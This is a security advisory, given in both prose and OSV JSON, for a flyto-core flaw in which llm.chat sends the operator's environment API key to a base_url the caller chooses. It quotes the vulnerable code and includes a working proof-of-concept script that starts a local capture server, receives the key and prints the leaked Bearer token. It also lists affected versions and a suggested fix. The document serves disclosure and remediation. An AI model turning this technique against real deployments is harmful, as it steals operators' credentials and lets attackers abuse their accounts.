PYSEC-2026-3573
Vulnerability from pysec - Published: 2026-08-04 11:34 - Updated: 2026-08-04 13:36Summary
llm.chat reads the operator's provider key from the environment (OPENAI_API_KEY, ANTHROPIC_API_KEY, ...) and sends it in the Authorization: Bearer header to base_url, a parameter the caller controls. base_url is only checked against the SSRF guard, and the guard allows any public host, so pointing base_url at an attacker's server hands them the operator's key. flyto-core's own bounty scale rates "environment access exposing secrets (e.g. ANTHROPIC_API_KEY)" as High.
Affected code
src/core/modules/atomic/llm/chat.py (_call_openai):
base_url = params.get('base_url') # caller-controlled
if base_url:
validate_url_with_env_config(base_url) # SSRF check only; a public attacker host passes
if not api_key:
api_key = os.getenv('OPENAI_API_KEY') # operator's key
...
url = (base_url or "https://api.openai.com/v1").rstrip('/') + "/chat/completions"
headers = {"Authorization": f"Bearer {api_key}"}
await client.post(url, headers=headers, json=payload) # sent to base_url
The same wiring (env key plus caller endpoint) exists in ai.model (which does not even SSRF-check base_url), llm.agent, and vector.connector (QDRANT_API_KEY with a caller url). The SSRF guard is the wrong control here: it stops private targets but does nothing about the key being sent to an attacker's public host.
Reproduction
Save as keyexfil_poc.py, run with PYTHONPATH=src/src python keyexfil_poc.py. It sets an operator key in the environment and points base_url at a local capture server.
#!/usr/bin/env python3
import asyncio
import os
import threading
from http.server import BaseHTTPRequestHandler, HTTPServer
os.environ["OPENAI_API_KEY"] = "sk-OPERATOR-SECRET-doNotLeak-9f8e7d6c5b4a"
os.environ["FLYTO_ALLOWED_HOSTS"] = "localhost" # stand-in for the attacker's public host
CAPTURED = {}
class Attacker(BaseHTTPRequestHandler):
def do_POST(self):
CAPTURED["auth"] = self.headers.get("Authorization")
ln = int(self.headers.get("Content-Length", 0)); self.rfile.read(ln)
b = b'{"choices":[{"message":{"content":"pwned"},"finish_reason":"stop"}],"usage":{"total_tokens":1}}'
self.send_response(200); self.send_header("Content-Type", "application/json")
self.send_header("Content-Length", str(len(b))); self.end_headers(); self.wfile.write(b)
def log_message(self, *a): pass
async def main():
from core.modules.atomic import register_all
from core.modules.registry import ModuleRegistry
register_all()
threading.Thread(target=HTTPServer(("127.0.0.1", 8080), Attacker).serve_forever, daemon=True).start()
res = await ModuleRegistry.execute("llm.chat", params={
"prompt": "hi", "provider": "openai", "base_url": "http://localhost:8080",
}, context={})
print("module ok:", res.get("ok"))
print("Authorization received by attacker:", CAPTURED.get("auth"))
if __name__ == "__main__":
asyncio.run(main())
Output:
module ok: True
Authorization received by attacker: Bearer sk-OPERATOR-SECRET-doNotLeak-9f8e7d6c5b4a
Confirmed against the running API as well: calling llm.chat with base_url=https://example.com was not blocked by the SSRF guard, so the request egressed to the public host with the operator key attached.
Impact
Theft of the operator's cloud LLM / vector-DB keys, which lets the attacker bill and abuse those accounts and reach data available to the key. The caller only needs to influence base_url, which is reachable through the MCP agent surface or the hosted API.
Suggested fix
Only use the environment-derived key with the provider's official endpoint. If the caller supplies a custom base_url, require them to supply the api_key explicitly too, or check base_url against an allowlist of trusted endpoints — never auto-attach the operator's secret to an arbitrary host. Apply the same to ai.model, llm.agent and vector.connector, and add SSRF validation to ai.model's base_url.
| Name | purl | flyto-core | pkg:pypi/flyto-core |
|---|
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "flyto-core",
"purl": "pkg:pypi/flyto-core"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.26.7"
}
],
"type": "ECOSYSTEM"
}
],
"versions": [
"1.0.0",
"1.0.1",
"1.0.2",
"1.0.3",
"1.0.4",
"1.0.5",
"1.0.6",
"1.0.7",
"1.0.8",
"1.0.9",
"1.1.0",
"1.1.1",
"1.11.0",
"1.12.0",
"1.13.0",
"1.14.0",
"1.14.1",
"1.14.2",
"1.15.0",
"1.16.0",
"1.16.1",
"1.16.10",
"1.16.2",
"1.16.3",
"1.16.4",
"1.16.5",
"1.16.6",
"1.16.7",
"1.16.8",
"1.16.9",
"1.2.0",
"1.3.0",
"1.4.0",
"1.5.0",
"1.5.1",
"1.5.2",
"1.5.4",
"1.6.0",
"1.6.1",
"1.6.2",
"1.6.3",
"1.6.4",
"1.6.5",
"1.7.0",
"1.7.1",
"1.7.2",
"1.7.3",
"1.7.4",
"1.7.5",
"1.7.6",
"1.7.7",
"1.7.8",
"1.7.9",
"1.8.0",
"1.8.1",
"1.8.10",
"1.8.11",
"1.8.12",
"1.8.13",
"1.8.14",
"1.8.15",
"1.8.16",
"1.8.17",
"1.8.2",
"1.8.3",
"1.8.4",
"1.8.5",
"1.8.6",
"1.8.7",
"1.8.8",
"1.8.9",
"1.9.0",
"2.0.0",
"2.0.1",
"2.0.2",
"2.0.3",
"2.0.4",
"2.0.5",
"2.1.0",
"2.1.1",
"2.1.2",
"2.1.3",
"2.1.4",
"2.10.0",
"2.11.0",
"2.12.0",
"2.12.1",
"2.12.13",
"2.12.15",
"2.12.16",
"2.12.17",
"2.12.18",
"2.12.19",
"2.12.2",
"2.12.20",
"2.12.21",
"2.12.22",
"2.12.23",
"2.12.24",
"2.12.25",
"2.12.26",
"2.12.27",
"2.12.28",
"2.12.3",
"2.12.4",
"2.12.5",
"2.12.6",
"2.13.0",
"2.13.1",
"2.13.2",
"2.13.3",
"2.13.4",
"2.14.0",
"2.15.0",
"2.15.1",
"2.15.2",
"2.15.3",
"2.16.1",
"2.16.3",
"2.16.4",
"2.17.0",
"2.17.1",
"2.17.2",
"2.17.3",
"2.17.4",
"2.17.5",
"2.17.6",
"2.17.7",
"2.17.8",
"2.18.0",
"2.18.1",
"2.18.10",
"2.18.11",
"2.18.2",
"2.18.3",
"2.18.4",
"2.18.5",
"2.18.6",
"2.18.8",
"2.18.9",
"2.19.0",
"2.2.0",
"2.2.1",
"2.2.2",
"2.20.0",
"2.20.1",
"2.20.2",
"2.20.3",
"2.20.4",
"2.23.0",
"2.23.1",
"2.23.2",
"2.23.3",
"2.24.0",
"2.24.1",
"2.24.2",
"2.24.3",
"2.24.4",
"2.25.0",
"2.25.1",
"2.25.10",
"2.25.11",
"2.25.12",
"2.25.13",
"2.25.14",
"2.25.15",
"2.25.16",
"2.25.17",
"2.25.18",
"2.25.19",
"2.25.2",
"2.25.20",
"2.25.21",
"2.25.22",
"2.25.23",
"2.25.24",
"2.25.25",
"2.25.26",
"2.25.27",
"2.25.3",
"2.25.4",
"2.25.5",
"2.25.6",
"2.25.7",
"2.25.8",
"2.25.9",
"2.26.0",
"2.26.1",
"2.26.2",
"2.26.3",
"2.26.4",
"2.26.5",
"2.3.0",
"2.3.1",
"2.4.0",
"2.4.1",
"2.4.2",
"2.4.3",
"2.4.4",
"2.4.5",
"2.4.6",
"2.4.7",
"2.5.0",
"2.5.1",
"2.5.2",
"2.6.0",
"2.6.1",
"2.7.0",
"2.7.1",
"2.7.2",
"2.7.3",
"2.7.4",
"2.7.5",
"2.7.6",
"2.8.0",
"2.9.0"
]
}
],
"aliases": [
"CVE-2026-67425",
"GHSA-qq9q-xgm3-xv9g"
],
"details": "## Summary\n\n`llm.chat` reads the operator\u0027s provider key from the environment (`OPENAI_API_KEY`, `ANTHROPIC_API_KEY`, ...) and sends it in the `Authorization: Bearer` header to `base_url`, a parameter the caller controls. `base_url` is only checked against the SSRF guard, and the guard allows any public host, so pointing `base_url` at an attacker\u0027s server hands them the operator\u0027s key. flyto-core\u0027s own bounty scale rates \"environment access exposing secrets (e.g. `ANTHROPIC_API_KEY`)\" as High.\n\n## Affected code\n\n`src/core/modules/atomic/llm/chat.py` (`_call_openai`):\n\n```python\nbase_url = params.get(\u0027base_url\u0027) # caller-controlled\nif base_url:\n validate_url_with_env_config(base_url) # SSRF check only; a public attacker host passes\nif not api_key:\n api_key = os.getenv(\u0027OPENAI_API_KEY\u0027) # operator\u0027s key\n...\nurl = (base_url or \"https://api.openai.com/v1\").rstrip(\u0027/\u0027) + \"/chat/completions\"\nheaders = {\"Authorization\": f\"Bearer {api_key}\"}\nawait client.post(url, headers=headers, json=payload) # sent to base_url\n```\n\nThe same wiring (env key plus caller endpoint) exists in `ai.model` (which does not even SSRF-check `base_url`), `llm.agent`, and `vector.connector` (`QDRANT_API_KEY` with a caller `url`). The SSRF guard is the wrong control here: it stops private targets but does nothing about the key being sent to an attacker\u0027s public host.\n\n## Reproduction\n\nSave as `keyexfil_poc.py`, run with `PYTHONPATH=src/src python keyexfil_poc.py`. It sets an operator key in the environment and points `base_url` at a local capture server.\n\n```python\n#!/usr/bin/env python3\nimport asyncio\nimport os\nimport threading\nfrom http.server import BaseHTTPRequestHandler, HTTPServer\n\nos.environ[\"OPENAI_API_KEY\"] = \"sk-OPERATOR-SECRET-doNotLeak-9f8e7d6c5b4a\"\nos.environ[\"FLYTO_ALLOWED_HOSTS\"] = \"localhost\" # stand-in for the attacker\u0027s public host\nCAPTURED = {}\n\nclass Attacker(BaseHTTPRequestHandler):\n def do_POST(self):\n CAPTURED[\"auth\"] = self.headers.get(\"Authorization\")\n ln = int(self.headers.get(\"Content-Length\", 0)); self.rfile.read(ln)\n b = b\u0027{\"choices\":[{\"message\":{\"content\":\"pwned\"},\"finish_reason\":\"stop\"}],\"usage\":{\"total_tokens\":1}}\u0027\n self.send_response(200); self.send_header(\"Content-Type\", \"application/json\")\n self.send_header(\"Content-Length\", str(len(b))); self.end_headers(); self.wfile.write(b)\n def log_message(self, *a): pass\n\nasync def main():\n from core.modules.atomic import register_all\n from core.modules.registry import ModuleRegistry\n register_all()\n threading.Thread(target=HTTPServer((\"127.0.0.1\", 8080), Attacker).serve_forever, daemon=True).start()\n res = await ModuleRegistry.execute(\"llm.chat\", params={\n \"prompt\": \"hi\", \"provider\": \"openai\", \"base_url\": \"http://localhost:8080\",\n }, context={})\n print(\"module ok:\", res.get(\"ok\"))\n print(\"Authorization received by attacker:\", CAPTURED.get(\"auth\"))\n\nif __name__ == \"__main__\":\n asyncio.run(main())\n```\n\nOutput:\n\n```\nmodule ok: True\nAuthorization received by attacker: Bearer sk-OPERATOR-SECRET-doNotLeak-9f8e7d6c5b4a\n```\n\nConfirmed against the running API as well: calling `llm.chat` with `base_url=https://example.com` was not blocked by the SSRF guard, so the request egressed to the public host with the operator key attached.\n\n## Impact\n\nTheft of the operator\u0027s cloud LLM / vector-DB keys, which lets the attacker bill and abuse those accounts and reach data available to the key. The caller only needs to influence `base_url`, which is reachable through the MCP agent surface or the hosted API.\n\n## Suggested fix\n\nOnly use the environment-derived key with the provider\u0027s official endpoint. If the caller supplies a custom `base_url`, require them to supply the `api_key` explicitly too, or check `base_url` against an allowlist of trusted endpoints \u2014 never auto-attach the operator\u0027s secret to an arbitrary host. Apply the same to `ai.model`, `llm.agent` and `vector.connector`, and add SSRF validation to `ai.model`\u0027s `base_url`.",
"id": "PYSEC-2026-3573",
"modified": "2026-08-04T13:36:18.879684Z",
"published": "2026-08-04T11:34:45.510122Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/flytohub/flyto-core/security/advisories/GHSA-qq9q-xgm3-xv9g"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-67425"
},
{
"type": "WEB",
"url": "https://github.com/flytohub/flyto-core/commit/d5f89d71303e3c1e6418d347c5c55fcd173cc8cc"
},
{
"type": "PACKAGE",
"url": "https://github.com/flytohub/flyto-core"
},
{
"type": "WEB",
"url": "https://github.com/flytohub/flyto-core/releases/tag/v2.26.6"
},
{
"type": "PACKAGE",
"url": "https://pypi.org/project/flyto-core"
},
{
"type": "ADVISORY",
"url": "https://github.com/advisories/GHSA-qq9q-xgm3-xv9g"
}
],
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "Flyto2 Core: LLM/API keys leak to an attacker-controlled base_url"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.